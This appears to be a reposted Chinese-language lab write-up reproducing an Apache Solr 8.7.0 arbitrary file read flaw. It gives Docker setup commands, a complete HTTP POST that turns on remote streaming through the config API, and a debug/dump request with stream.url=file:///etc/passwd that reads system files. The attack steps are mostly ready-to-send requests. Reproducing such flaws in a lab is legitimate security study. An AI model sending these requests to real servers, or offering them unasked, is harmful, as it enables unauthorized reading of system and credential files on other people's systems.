Apache Solr任意文件讀取漏洞復現


Apache Solr任意文件讀取漏洞復現

環境配置
docker pull solr:8.7.0
docker run -d -p 8983:8983 solr:8.7.0
docker exec -it solr:8.7.0 /bin/bash
cp -r server/solr/configsets/_default/conf /var/solr/data/test1
./solr create -c <name>   # 創建一個數據驅動模式的核心 此時的solr沒有核心進行索引和搜索
漏洞復現

訪問url http://xxx:8983/solr/admin/cores?indexInfo=false&wt=json

image-20210425215347704

發現存在core_name buchiyexiao

測試POC

POST /solr/buchiyexiao/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

當出現"This response format is experimental. It is likely to change in the future." 表示存在漏洞。

image-20210425221041101

進行文件讀取

URL:
http://ip/solr/buchiyexiao/debug/dump?param=ContentStreams

POST data:
stream.url=file:///etc/passwd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM